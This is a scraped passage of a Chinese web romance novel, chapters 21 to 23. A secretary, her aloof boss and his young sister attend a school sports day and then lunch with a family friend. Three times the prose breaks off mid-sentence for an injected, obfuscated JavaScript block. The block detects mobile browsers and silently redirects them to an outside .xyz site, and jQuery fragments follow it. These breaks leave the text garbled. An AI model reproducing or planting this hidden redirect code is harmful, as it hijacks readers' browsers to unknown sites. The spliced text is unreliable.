21. 第 21 章 妈妈 爸爸
不过傅许安没让虞晚抱多久,在傅知尧警告的眼神中利索地从虞晚身上滑下来,哒哒跑去厨房。
声音元气满满:“虞晚姐姐,我去看看吴阿姨早餐做好了没?”
傅知尧看向虞晚:“吃早餐了吗?”
虞晚摇头,“没来得及。”
“嗯,”傅知尧抬了抬下巴,示意虞晚看向餐厅,“坐下来一起吃。”
在家的缘故,傅知尧没穿西服,身上是一件浅灰色的棉麻材质圆领家居服,但他身材好,普通家居服也撑得起来,往人面前一站,成熟匪然中透露着随性,和走秀场的模特没什么分别。
虞晚没拒绝,跟在他身后去了餐厅。
吴阿姨将最后一份早餐摆上餐桌,脱下围裙同傅知尧说了一声就离开,走的时候和虞晚对上视线,朝她和蔼一笑,似乎并没有探究她是谁的意思。
虞晚觉得神奇,这个小说世界居然比虞晚想象得还要讲逻辑。
豪宅门口的保安不会仅凭外表着装就审判一个人,老板家里的做饭阿姨也不会碎嘴八卦雇主隐私。
等看到桌面上种类丰盛的早餐,虞晚瞬间把这些想法抛之脑后,早起不是没收获,还能蹭一顿免费早餐呢。
虞晚没有在傅总面前装淑女的爱好,吃饱最重要,三口一个烧麦,再来一口满是酱汁的小笼包,鲜肉鸡蛋饼也好吃,太油腻了就喝口南瓜小米粥,还有清甜的蓝莓、车厘子水果当餐后甜点。
一顿早餐,虞晚吃得心满意足。
旁边傅许安也是,她从小消化好、胃口好,哼哧哼哧吃得一脸满足,还热情向虞晚推荐哪些早餐好吃。
傅知尧原本对中式早餐没多少兴趣,被两位现场吃播影响,难得多吃了点。
吃完早餐,傅许安擦擦嘴,第一个跳下餐桌,跑去房间拿了三件运动短袖出来,站到虞晚和傅知尧面前讲解。
傅许安:“这是我们学校发的衣服,待会儿运动会我们都要穿上,T恤背面是我画的涂鸦,我们学校让我们自己画图案,画完给我们印出来的,等运动会结束还能收藏!怎么洗都不会掉色!”
虞晚接过傅许安递给她的T恤,展开欣赏背面的涂鸦,这一看不要紧,虞晚差点被上面写的字给嚇到。
再看另外两件大小不一的T恤。
三件T恤背后的字依次是:
妈妈
爸爸
宝宝
虞晚:“……”
她脸都要僵了,缓缓转身看向傅知尧,展示给他看运动T恤背后的字,声音颤颤巍巍:“老板……,这运动T恤非穿不可吗?”
傅知尧表情一滞。
这话该他说才对,但毕竟是他叫虞晚来救场,要是现在换说辞,出尔反尔,岂不是显得他过于随便,以后怎么在虞晚面前树立老板威信。
所以他稳坐如山,不咸不淡开口:“你问傅许安。”
傅许安眨巴着葡萄般漆黑漂亮的眼睛,“虞晚姐姐,我们学校规定必须穿,这是我们的队服!代表团结协作,是很重要的标识,背后写的字是什么完全不影响啊,我们班级还有同学让家里保姆阿姨参加呢。”
虞晚:“……”
既然老板和老板妹妹都没说什么,她一个为了三倍加班费来的工具人更没什么好说的,颇为沉重地接受了这个事实,去洗手间换上T恤。
T恤应该被阿姨清洗过,有着淡淡的苦艾香气,和老板身上的味道很像,虞晚闻了两秒,反应过来后没敢再闻。
和认识的人身上是同一种香味这件事情太暧昧,更何况,另一个人是老板,虞晚暂时还没想死的念头。
将换下来的短袖放进手提袋,准备运动会结束再换回来。
走出洗手间,傅知尧和傅许安两人也已经换好了运动T恤,难得看老板穿如此廉价感的衣服,虞晚抿了抿唇,忍住嘴边的笑意。
傅知尧穿着背面印着‘爸爸’两个显眼大字的T恤,手里捏着把梳子,正试图将傅许安的长发扎起来。
只可惜他手法不算好,扯得傅许安龇牙咧嘴喊疼,虞晚走过去,“老板,让我来吧,我会梳头发。”
傅许安立刻从凳子上跳下来,像看到救世主一样抱住虞晚大腿:“太好了,虞晚,你会梳什么发型?我想要蝴蝶结的发型你会吗?就是把辫子辫成蝴蝶结,前段时间我们学校特别流行,但春姨和吴姨压根不会扎,每次都是给我编麻花辫,简直无聊!”
虞晚想了几秒,“我好像知道你说的是什么发型,我试试吧。”
傅许安当即将虞晚领去了她的房间。
傅许安在傅知尧家里有自己的房间,是从客房改来的,装修风格和其他房间迥异到两个极点。
老板公寓装修风格都是走性冷淡风,但唯独傅许安住的这个房间,墙壁和天花板都被刷成了淡粉色,墙上挂着许许多多个相框,相框内是傅许安各个阶段的照片。
还有两张是和傅知尧的合影,画面里,傅许安不过两岁的模样,坐在傅知尧肩头,白嫩的小手攥紧傅知尧一搓黑发,傅知尧疼得呲牙,傅许安笑得天真可爱。
是虞晚从没见过的,老板的又一面。
视线收回来,傅许安的床是高脚欧式公主床,头顶是垂着精致蕾丝的床幔,上面挂着发光的小灯串,打开开关,莹黄的光芒忽闪忽闪,简直是所有小朋友都梦寐的公主房间。
虞晚有些愣神,片刻,缓缓收回目光,对傅许安道:“你的皮圈和梳子呢,我帮你梳头发。”
傅许安正趴在地上从抽屉里找发夹,似乎是找不到,干脆将化妆桌的抽屉全部拉开,一抽屉闪闪亮的发夹出现在眼前。
“虞晚,你从这里面找吧!”
顾及运动会项目多,虞晚没弄什么复杂的发型,只给傅许安扎了两个蝴蝶结发髻,一头浓密的长发从正中央分开,各扎一个高马尾麻花辫,将尾端捏起来,中间对折,用黑色发夹和皮圈固定,再整理整理,蝴蝶结形状的发型就做好了。
最后,在头发两边别上两枚粉色的蝴蝶结发夹。
虞晚问傅许安:“好了,看看有没有扯到头发,疼的话我拆掉重新扎。”
“不疼!虞晚你太厉害了,你给我扎的发型简直是世界上最漂亮的发型,你的手也是世界上最漂亮的手!谢谢你!”
傅许安用力抱了虞晚一下,紧接着对着镜子左看看右看看,怎么看怎么满意,臭美地噘起嘴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629142|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
欣赏,不亦乐乎。
虞晚被傅许安动作可爱到,嘴角跟着上扬。
房间外,傅知尧视线停留在虞晚和傅许安身上,他没有进去打扰,站着久久未动。
亲子运动会于九点半开始,虞晚一行人出门的时候不过八点三十六。
去学校的路上,虞晚研究起傅知尧递给她的明智国际学校亲子运动会手册,上面写着亲子运动会上的各类项目及比赛方式。
参加运动会的都是小学二年级学生,因此运动会项目少有竞技项目,多为三人四足、袋鼠跳跳等趣味项目,突出强调一个亲子互动。
虞晚小心翼翼看旁边的老板一眼,忽然明白为什么老板会找她。
让一脸威严的老板穿着袋鼠衣服在草坪上跳来跳去实在有些崩人设。
傅知尧见她看完,问她:“看出什么东西没有?”
虞晚点头:“嗯,项目比较多,要说拿冠军的话,只要单项运动项目拿到第一就有奖杯,没拿到第一也有参与奖。”
为了照顾小朋友情绪,参与奖是亮晶晶的徽章,可以别在运动T恤上,每个运动项目设计的徽章都不一样,很难说清楚小朋友是更喜欢徽章还是奖杯。
不过傅许安小朋友目标明确:“奖杯奖杯!我要奖杯,最好全部项目的奖杯都被我拿到!”
傅知尧淡声警告:“事先说好,只负责参与,奖杯不保证,你要是因为这个吵,我马上把你从车上丢下去。”
让他穿着背后印有‘爸爸’两个字的T恤已经够丢人了,要是傅许安还要闹,他真的会同这个妹妹断绝血缘关系。
傅许安炸了:“我要你丢!我自己走下去!”
虞晚:“……”
老板今日出行车是一辆银色的迈巴赫,后车座三个位置,虞晚就坐在两人正中间,方才上车的时候还不觉得,现在兄妹两人开始互怼,她夹在中间就格外煎熬。
傅知尧继续输出:“行,挺硬气,当初求我来参加你亲子运动会的时候怎么不是这个表情,哦,忘了说,你求我的时候我拍视频了,要是不想视频发到你们班级群,就乖乖听我们的。”
傅许安咬牙切齿,就差越过虞晚给傅知尧一拳:“你这个狡诈小人,阴毒!我是你妹妹,你发我视频丢的是我的脸吗?是你的!”
傅知尧:“哦。”
傅许安:“傅知尧——!我讨厌你!”
虞晚:“……”
银色迈巴赫飞速驶过高架桥,将傅许安的叫喊声抛在车流里,在虞晚的拘谨煎熬中,三人顺利抵达明智国际学校。
此刻距离九点半还有将近十五分钟的时间,明智国际学校门口停满各种豪车,孩子们穿着同款但图案各异的T恤从豪车上跳下来,迈着腿往学校里跑。
傅许安下车时已经整理好了自己的情绪,热情挥手回应相识同学的招呼,完全看不出来她和傅知尧在车上吵过架。
傅许安同傅知尧在方才短暂的车程中约法了不知道多少章。
总而言之,要给她拿到至少一个奖杯。
不出意外,老板将这个任务交给了她。
算了,算了,三倍工资呢。
虞晚忍了。
22. 第 22 章
明智国际学校设有幼儿园、小学、初中、高中四个学部,提供从幼儿园到高中全阶段的国际化教育,不仅拥有优美舒适的校园环境,教育资源和师资力量也相当丰厚,是海市人眼中‘精英教育’的代名词,实验室、礼堂、运动场各种设施齐全,建校将近三十年,建筑依旧干净漂亮。
虞晚知道这所学校,不算生活费,一学期学费将近二十万,也正是如此,才会花心思去提供印有小朋友绘画图案的T恤。
穿行在环境优美的校园中,虞晚觉得自己不像是来参加亲子运动会的,更像是来参观的,沿途的每一处建筑都足以让她驻足欣赏。
傅许安拉着她的手,注意到虞晚在看校园风景,特意放慢了步伐。
三人不紧不慢走到举办运动会的入口操场。
运动场播放着激昂欢快的音乐,场上来来去去都是人,穿着红马甲的老师们正在忙碌布置项目场地,傅许安带着虞晚和傅知尧两人去指定的看台集合。
傅许安班上学生差不多到齐,只有两三位学生请了假,虞晚数了数,不到二十个学生。
虽然穿着T恤和她们一样,但的确能看出来好几位学生的家长是由司机和保姆阿姨充当的。
虞晚等老板先坐下,这才坐到老板旁边,隔了一个座位,中间的椅子则是留给傅许安坐的。
但傅许安正热情同其他同学聊天。
有小朋友注意到一脸高傲的傅知尧,悄咪咪凑到傅许安旁边问她:“傅许安,这位就是你说的哥哥吗?”
傅许安昂着下巴,骄傲点头,“对啊,今天的亲子运动会是我哥哥和姐姐陪我参加哦,看到我的发型了吗?我姐姐给我扎的。”
说着,傅许安转了个圈。
那位小女孩夸她:“很漂亮,你姐姐手艺真好,我也想有这样的姐姐!”
傅许安摆摆手,十足傲娇:“那没办法了,你是家里的老大,就算你妈妈再生也只会是妹妹或弟弟,咦~小屁孩最烦了。”
“对,小屁孩最烦,上回去我姨妈家,她生了个宝宝,每天只会哭,我把我最喜欢的奥特曼送给他,他还是只会哭!”
两个小女生叽叽喳喳讨论起来,虞晚听得想笑。
对上傅知尧探究的眼神,虞晚将笑容憋回去,挪了个屁股,坐到傅许安的位置上,微微偏头,低声问:“老板,今天亲子运动会有摄影师拍照,我倒是没关系,您被拍是不是不太好?”
傅知尧双手抱臂,懒懒靠在座椅上:“不会,学校每次发校园宣传照时都会询问各位家长的意见,没得到家长或者孩子的同意,是不会擅自发出去的。”
虞晚:“要是不小心发出去了呢?”
“巨额索赔。”
虞晚:“!!!”
明白拍摄的照片不会传出去,虞晚稍稍放心,坐回自己的座位,安静等待亲子运动会开场。
期间有中年男人走上前同傅知尧攀谈,问了两句商场上合作的事宜,傅知尧只是坐在椅子上,动也不动,虞晚了然,贴心从钱包里拿出她的名片递给对方。
这是傅知尧上个星期给她定制的,为的就是这种场合,方便打发人。
虞晚礼貌道:“您好,我是傅总秘书虞晚,这是我的名片,有什么事情可以联系我,今天毕竟是私人行程,希望您能理解。”
男人的视线在她身上停留片刻,碍于傅知尧在,最终尴尬笑笑,接过名片离开。
反倒是傅知尧,在人走之后,不咸不淡来了句:“虞秘书,打发人的时候笑容可以稍微收一收。”
虞晚下意识摸向嘴角,她笑得很夸张吗?
不是正常的社交笑容么。
运动场上的音乐在此时停止,亲子运动会开幕式到了。
校方似乎清楚今日到场嘉宾时间的宝贵,没有冗长无聊的领导讲话,孩子们以班级为单位绕着操场走过一圈,不到五分钟的动员演讲后,校长激动宣布,亲子运动会正式开始。
鉴于项目比较多,虞晚和傅许安选择了几个拿奖杯可能性最高的项目参加。
第一个就是三人两足。
傅许安叉着腰,振振有词道:“你们两个腿都很长,我就不拖你们后腿了,你们一人一边提着我的胳膊,带着我跑向终点吧!”
安排得还挺好,但傅知尧拒绝。
“找两人项目,你和虞晚参加。”
“那你呢?!”傅许安瞪大眼。
傅知尧姿势不变,从口袋里拿出不知何时塞进去的墨镜,只露出俊朗的半张脸,一派闲适怡然:“我?给你们加油。”
虞晚、傅许安:“……”
直到从看台离开,傅许安还气呼呼的:“可恶可恶!就知道傅知尧这个大笨蛋不靠谱,简直太可恶了,我要把他一脚踹到外太空!”
说完,傅许安转过身,抱住虞晚,可怜巴巴地说:“虞晚姐姐,你一定要给我拿冠军,我们的希望都在你身上了,只要一个冠军就好,哥哥不参加的三人项目徽章我会找同学买的,我们的目标就是拿下全部两人项目徽章!”
虞晚头痛,还是道:“我们尽量吧。”
傅许安这才露出笑容,拿起运动会手册,开始搜罗:“既然如此,我们的第一个运动项目就选……”
“袋鼠跳跳跳!”
项目规则其实很简单,孩子和家长相距二十米,家长需要穿着袋鼠腿套,从起点一路跳到终点,最先抵达终点的家庭获胜,但学校在这个规则基础上又加了两条:家长需要将八个直径相同高度不同的圆柱体从起点运输到终点,由终点处的孩子们手动将圆柱按照高矮顺序排列,最先排列完成,按下终止键的家庭获胜。
穿着袋鼠腿套跳倒是不难,但跳的同时还要拿稳圆柱体就有些困难,毕竟腿套宽大,必须用手抓住,否则就会掉到地上,影响跳动。
虞晚思考片刻,最终选择跑两趟,每一趟拿四个圆柱体,虽然搬运两趟虽然有些费功夫,但游戏规则设定如果中途圆柱体掉落,不能捡,只能回头再去拿。
给了家长们两分钟准备时间,穿着红马甲的老师吹响发令口哨,虞晚迅速拿起圆柱体,两个夹在胳膊下,另外两个用手拿,同腿套一起捏紧,随后蹦跶出去。
虞晚是第一个蹦跶出来的。
终点处,傅许安激动地跳起来,头顶两边蝴蝶结跟着跳动:“虞晚!虞晚!虞晚!”
虞晚原以为自己的对策已经够全面了,然而旁边那位学生的家长比她还要厉害,口哨响后,其他几个家长已经蹦出老远一截,他还站在原地调整。
等虞晚第一趟运输完毕,转过身回起点再拿时,就看到那位家长一次拿完八个圆柱体从起点朝终点蹦跶过来。
两个夹在胳膊下,两个拿在手心,大腿中间夹两个,脸颊和脖子中间再夹两个,硬生生将八个圆柱体一起拿了起来。
不过因为拿得多,那位家长跳动的速度不算快,虞晚抓紧时间返回,然而还是晚了一步,刚抵达终点,就听到老师吹哨宣布项目结束。
傅许安将老师发的参与奖徽章别在T恤上,小大人般安慰虞晚:“虞晚,没办法的,那位大人是沈适炆家里的保镖,力气可大了,可以扛起三个你,算了算了,我们继续下一个项目吧。”
虞晚:“……好。”
坐在看台边的傅知尧正在用手机查看邮件,毕竟是在公共场合,不适合处理文件。
看邮件的中途,傅知尧抬头在操场内搜寻虞晚和傅许安的身影,发现两人正在充气垫上奋力跳跃伸手够上面吊着的道具玩偶,一个大人一个小孩,认真得彷佛在参加什么奥运比赛。
傅知尧摇摇脑袋,庆幸自己今天找了虞晚,否则他还真当不了这个甩手掌柜。
另一边,虞晚和傅许安已经参加完五个项目,一个冠军也没拿,累得瘫倒在运动帐篷下,坐姿同款懒散,没个正经。
虞晚拧开学校免费提供的矿泉水,让傅许安喝,两人喝着水,缓解干渴和疲惫。
休息片刻,虞晚拿出运动手册,同傅许安分析。
虞晚:“安安,我们已经参加了五个运动项目,体力消耗多,再参加一些费体力的项目夺冠可能性也不大,所以我们最好找个不拼力气和速度的项目。”
虞晚体力已经算是不错了,小时候在孤儿院干活,离开孤儿院四处兼职,高温天气穿着厚重玩偶服发传单也是小儿科,但还是比不过那些专业人士,为了给小朋友拿到奖杯,一个个可谓使出十八般武艺。
好在傅许安小朋友同样是个精力十足的小朋友,全程为她加油鼓气,没有拿到奖杯也丝毫不抱怨。
傅许安觉得虞晚说的有道理,她们已经拼尽全力,还是只拿到了纪念徽章。
虽说纪念徽章她也很喜欢,但是她更喜欢金灿灿的奖杯,想到这里,傅许安擦了一把额头上的汗,朝看台投去一个白眼。
只会享福的臭哥哥!
傅许安:“虞晚姐姐我听你的,没拿到奖杯也不要紧,我们已经很努力了。”
虞晚和傅许安坐在一起,趁着休息时间嘀嘀咕咕讨论最有可能拿到奖杯的运动项目,选定项目,又嘀嘀咕咕商量起对策。
傅许安从花坛上跳下来,恢复斗志满满的样子:“好!迷途的大象,出发!”
傅知尧花费一个半小时将堆积的工作邮件全部处理完,不紧不慢活动活动手臂,远眺操场,搜寻两人身影。
算算时间,两人大概玩了五六个运动项目,应该不至于连一个奖杯都没拿到。
视线稍稍停顿,傅知尧看到了虞晚。
她站在距离他最近的那条跑道,眼睛被灰色的大象形状的眼罩遮住,只露出一个白皙的下巴,被穿着红马甲的老师引到起跑线上,终点处是一脸激动期待的傅许安。
看样子,这个比赛应该是‘迷途的大象’。
比赛内容简单,参赛家长戴着眼罩,原地转五圈后出发,孩子们站在终点指挥家长前进,第一个抵达终点的家庭赢得奖杯。
傅知尧挑了下眉毛,摘下脸上的墨镜,百无聊赖看起比赛。
哨声响起,虞晚弯腰捏着鼻子转圈,五圈结束,虞晚没有直接出发,站稳后,抬头向傅许安发出信号。
不远处,傅许安大声提醒虞晚:“虞晚姐姐!可以!没问题!直走!”
确认方向没错,虞晚在傅许安激动的叫喊声中缓步
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638302|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出发,因为转过圈,虞晚脚步有些晃。
但相比旁边几位找不到方位,甚至因为晕眩摔倒在地的家长,虞晚可谓稳当。
跑道长度只有二十米左右,傅知尧看着虞晚逐渐缩短与傅许安的距离。
十米,五米,三米,一米。
傅许安的激动显而易见,恨不得原地蹦到三尺高,嗓门比谁都大:“虞晚加油!虞晚加油!直走虞晚!”
等虞晚脚步迈过终点,傅许安一把抱住虞晚的腰,“虞晚!我们第一个!我们赢了!你好厉害!”
虞晚摘下眼罩,接住傅许安小朋友热情的拥抱。
傅许安仰头看着虞晚,双眼明亮,期待地询问:“虞晚,你现在还有多余的力气吗?能不能给我一个胜利的举高高!”
虞晚愣了两秒,点头:“可以呀。”
于是弯下腰,将傅许安再次举起,傅许安轻盈地抬起双腿,再次享受在空中腾飞的感觉,笑得露出洁白整齐的牙齿,毫不避讳表达对虞晚的喜爱:“虞晚!你好厉害呀!谢谢你!我好喜欢你!”
如此热烈,如此直白的表达,饶是虞晚这样内敛的人都被感染。
傅知尧撑着下巴,瞧见虞晚脸上缓缓绽开的笑容,红润的唇角微微上扬,明媚的春光下,眼角眉梢都透着绯色,清丽动人,比鲜花招摇,比绿树清澈,让人忍不住将目光驻足。
意识到自己视线停留时间过长,傅知尧不动声色收回视线,阳光过于炙热,傅知尧再次戴上墨镜,仍旧掩盖不住升温。
得到奖杯,傅许安小朋友心满意足,她热情亲了一口虞晚,又热情亲了一口奖杯,没再拉着虞晚参加项目。
傅许安说:“虞晚,谢谢你,我已经拿到最想要的奖杯了,我们就不参加运动项目了,机会让给其他人吧,否则我们就要累坏了,知足常乐,这是我奶奶教给我的。”
二年级的傅许安已经不是当初读幼儿园的她了,她懂得了许多道理,知道世界上没有童话故事,知道电视剧里演的都是假的,知道爸爸妈妈去世是永远不会回来,知道奶奶变老是要走向死亡,她觉得自己是个小大人了,小大人都是讲道理的。
她同臭哥哥约定好拿到一个奖杯就行,既然已经拿到了,就不麻烦虞晚姐姐了。
唉,臭哥哥只知道让她和虞晚姐姐参加项目,一点都不懂事。
虞晚和傅许安手牵手,刚走到看台阶梯,面前罩下一道阴影,熟悉的苦艾香气侵袭而来。
虞晚抬头看去,是傅知尧。
对比她和傅许安,傅知尧简直不要太舒服,身上干干净净、清清爽爽,双手插兜,戴着精致昂贵的墨镜,居高临下地看着她们。
傅许安吐槽:“不劳动的人最丑陋。”
傅知尧:“……”
虞晚:“……”
她咳嗽两声,主动开口缓解尴尬:“老板,我们已经拿到奖杯了,安安说可以找老师登记离开学校。”
傅知尧抬了一下下巴,“去吧,我在这里等你们。”
虞晚带着傅许安去找她的班主任。
班主任是一位很年轻的女人,她先是和傅许安打招呼,看向虞晚有些好奇,“您是安安的……”
傅许安先一步开口:“温老师,她是我的姐姐!她叫虞晚!”
温老师笑笑,“好的,安安姐姐,你们是已经参加完项目准备回家是吗?”
虞晚点头,“对的,小朋友今天参加了许多项目,精力消耗得差不多,让她早点回家休息。”
傅许安想反驳,自己一点都不累,但是大人说话,小孩不能插嘴,于是抱着自己的奖杯等虞晚和温老师结束聊天。
大人真啰嗦,一个拜拜都要说那么久。
等虞晚带着傅许安回来,傅知尧已经走下看台,三人并肩同行,傅许安走在两人正中央。
她双臂高举奖杯,阳光下奖杯金灿灿的,傅许安越看越开心,忍不住高声呼喊。
“哇!奖杯!奖杯!我的奖杯!我爱奖杯!奖杯真好~”
傅许安说着说着就唱了起来,童声清脆稚嫩,虽然不成调,但也别有一番趣味。
虞晚和傅知尧被她的动静吸引,偏头看向傅许安。
早晨精心扎好的蝴蝶结发型此刻早已凌乱,一高一低垂在脑后,小朋友额头出了汗,发丝粘黏,齐刘海被她随意拨到两边,圆润光洁的脸蛋红扑扑像苹果,可爱到让人想咬一口,眼睛明亮清澈,阳光下带着点棕褐色,和老板如同一个模子刻出来的。
虞晚想,分明是亲兄妹,傅许安个性和傅知尧半点不像,傅许安情绪外放,热情得像是太阳,傅知尧情绪淡漠,时常让人看不穿他的心思。
不过虞晚看得更透彻,傅许安自幼失去父母,还能成长为如此阳光聪慧的样子,自然和傅知尧这个哥哥分不开。
性冷淡装修里唯一一个公主风卧室,是大魔王别样而内敛的温柔。
想到这里,虞晚不由得勾起唇角,傅知尧注意到虞晚唇角的笑意,愣了两秒,借着低头看傅许安,同样扬起嘴角。
三人都没注意,身后,班级的摄影师举起相机,咔嚓一声,为三人拍下了一张构图和谐的照片。
23. 第 23 章
亲子运动会结束,虞晚和傅知尧做的第一件事就是脱掉身上穿的T恤。
换好衣服上车,虞晚将装有运动T恤的袋子放到座位旁,这回她没再坐中间,将中间的位置让给傅许安。
看了眼时间,居然快十二点了。
距离六点半被老板叫醒已经过了将近五个半小时,按照加班工资三倍算的话大概是七百多块钱,是相当丰厚的一笔酬劳。
将消耗体力的运动项目看作免费锻炼的话,这一趟,虞晚绝对是赚了的。
等老板慢悠悠优雅地上车,虞晚便礼貌提出告辞。
傅知尧瞥她一眼,“跳了一上午,肚子不饿?”
虞晚眨眨眼。
老板这是要请她吃午饭的意思?
傅许安见虞晚没回答,误以为她要离开,急忙抓住虞晚的手:“虞晚你现在就要回家吗?我们还没交换联系方式呢,而且你帮我拿了奖杯,总该让某个什么都不做的人表示表示呀。”
“没关系的……”
反正,老板给了加班费呀。
虞晚抬头看傅知尧,期待老板讲点什么话拒绝。
傅知尧垂眸,漫不经心掸了掸衣角不存在的褶皱,嗓音低醇:“想吃什么?”
虞晚瞪大眼。
最终定了一家私房公馆菜,老板任性,每天只招待一桌客人,菜单还不容许客人挑,都是跟着当季菜品走。
公馆在市中心的老胡同里,走进去,历史的厚重感和沉淀感甚至压过了一旁的高楼大厦,叫虞晚觉得惊奇。
傅许安牵着她的手,让她得以一边走一边欣赏。
这个世界上还有太多太多她没有看过的新鲜事情,不能用相机记录的,她还能用眼睛记住。
公馆门楣上挂着一块描金牌匾,上书二字:同尘。
走进古朴的公馆大门,里面别有洞天,院子里种着几棵参天古树,浓厚的树荫下,一位中年男人正躺在摇椅上看书,时有微风拂来,画面惬意松弛。
虞晚瞥了眼男人手里的书,还是本菜谱。
不知道被翻过多少遍,书脊劈了叉,靠软胶勉强黏住,书壳少了一半,跟被狗啃过。
傅许安先喊了一声:“勤爷爷,我们来吃饭啦!”
中年男人头也不抬,口吻熟络,不带半点责怪之意:“说了多少次要预约要预约,你们总让我破例。”
傅知尧语声带笑,“勤叔,谁说我是来消费的,我分明是厚着脸想让你请我们吃饭。”
中年男人书一合,露出粗犷不修边幅的脸,粗黑的眉毛一皱,宛若钟馗:“傅知尧,别以为你这么大了我就不敢踢你屁股了……诶?这位是……”
中年男人视线立刻被傅知尧身边的虞晚吸引,一个挺身从摇椅上站起来,一脸喜悦地看着虞晚。
傅知尧听到勤叔的心声。
-【傅知尧女朋友?稀奇稀奇,祈明啊祈明,你和明玉没来得及看到的儿媳我替你们看到了,嗯,和年轻时候的明玉真像……】
后面是带着点哭腔的沉默。
傅知尧一时哑然,等反应过来,虞晚和傅许安已经被勤叔热情地拉进了公馆,他紧跟着走进去。
恰好听到虞晚紧张兮兮否认的声音:“不是的,您弄错了,我在傅氏工作,是老板的秘书。”
勤叔转过脸看傅知尧,双眼微眯,似是同他确认:“嗯?秘书?”
-【还没追到人家?傅知尧这小子不行啊,没他爸当年半个胆,别是人虞姑娘压根儿没看上他。】
傅知尧:“……”
傅知尧没理会,大踏步从三人身边掠过,直径进了包厢。
门没关,傅知尧洗手的时候听到外面传来声音。
勤叔:“虞晚啊,你们老板这个个性很不好相处吧,当他的秘书不容易啊。”
虞晚:“……没有的事。”
勤叔:“我还能不了解他,都说三岁看到老,我跟你讲啊,他小时候可倔了,有一次来我家里睡觉,忘记给他准备换洗的内裤,让他光屁股睡觉他也不肯,硬生生坐在浴室凳子上当蘑菇,最后没办法,连夜开车去他家拿了内裤,这才把小祖宗哄去洗澡。”
虞晚:“……”
不要说了!不要说了!听老板小时候的八卦,她不要命了是吗?!
虞晚恨不得捂起耳朵。
好在下一秒傅知尧就来救场了,他倚靠在门框上,用干净的毛巾擦着骨节分明的手指,淡淡开口,彷佛勤叔说的不是他。
“听够了?”
虞晚下意识点头,反应过来老板说的是什么后又猛地摇摇头。
傅许安是第一次听勤爷爷说哥哥小时候的事情,捧腹哈哈大笑,“哥哥小时候好好笑哦!”
勤叔看了眼表情冷淡的傅知尧,勉为其难收住讲故事的心情,让餐厅里的伙计给他们安排茶水,自己则去后厨炒菜。
临出包厢前,勤叔特意询问虞晚:“虞姑娘,有没有什么忌口呀?”
虞晚连忙挺直脊背,“没有的,我都可以吃,麻烦勤叔了。”
勤叔笑眯眯的:“好嘞,想喝什么找小蒋说,安安,你也是噢。”
傅许安点头:“好!谢谢勤爷爷!”
趁着炒菜的功夫,虞晚带着傅许安去洗手,不到半小时,菜上齐,勤叔顺势留下来和几人一起吃饭。
傅许安毫不掩饰对勤叔的夸奖:“虞晚姐姐,勤爷爷做的菜特别特别好吃,你今天上午辛苦了,多吃点,吃得饱饱的。”
“好,我知道了。”虞晚笑着回应她,抬头看向勤叔,又道:“麻烦勤叔了。”
勤叔摆摆手,“多大点事,你要是还想来直接来就是,想吃什么我给你做。”
虞晚有些困惑。
老板不是说勤叔的菜馆不接受点菜吗?
吃上饭,虞晚就知道傅许安说勤爷爷做菜特别好吃是半点没夸张。
分明是些再普通不过的家常菜,但蔬菜就吃得出蔬菜的清甜,肉就没腥味,半点不柴,也不是靠宽油浓酱堆砌出来的滋味,好吃得让虞晚眼底发亮。
见虞晚喜欢,勤叔给她倒了点自己去年酿的杨梅酒,酒精入口并不浓烈,果香更明显,回味带着甘甜。
虞晚眼睛亮起来:“好喝!”
勤叔笑:“好喝也不能贪杯,别以为喝着没什么感觉,实际上度数高着呢。”
虞晚点点头,转而认真品尝起其他菜肴。
看着虞晚和傅许安吃饭的模样,勤叔宽慰地笑起来。
傅知尧又听见他的心声。
-【能吃是福,知尧小时候就不爱吃饭,可愁坏了祈明夫妻俩,生怕孩子不长个,事实证明长不长个和基因有关,知尧还是长了个大高个。】
傅知尧夹菜的动作微顿,摒弃杂念,克制自己不去听勤叔的心声。
吃完饭,虞晚带着傅许安先回车上,傅知尧脚步慢了些和勤叔聊天。
“勤叔,我听周瞿洋说,你这个月没去医院检查?”
“你还问我?整得我好像得什么绝症似的,每个月都要去检查一次身体,半年去一次就行了啊,你和小洋说一声,月月去多浪费医疗资源。”
傅知尧诚心劝说:“勤叔,身体健康比什么都重要。”
勤叔这辈子没娶妻,孤寡老人一个,傅知尧一向将他当亲人,自然关照他的身体,万一有个不妥,也能及时发现,防患于未然。
勤叔说:“你找个女朋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650122|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
友比什么都重要。”
傅知尧无奈,“这能比?”
勤叔拒绝回答,反问傅知尧:“知尧呀,我觉得虞姑娘挺好的,这个世界上表里如一的人不多,我看得出来,虞姑娘是个不错的人,你对她到底有没有那个意思?”
傅知尧脚步一顿,“她是我秘书。”
“谁问你这个了,我是问你喜不喜欢她。”
“不喜欢。”
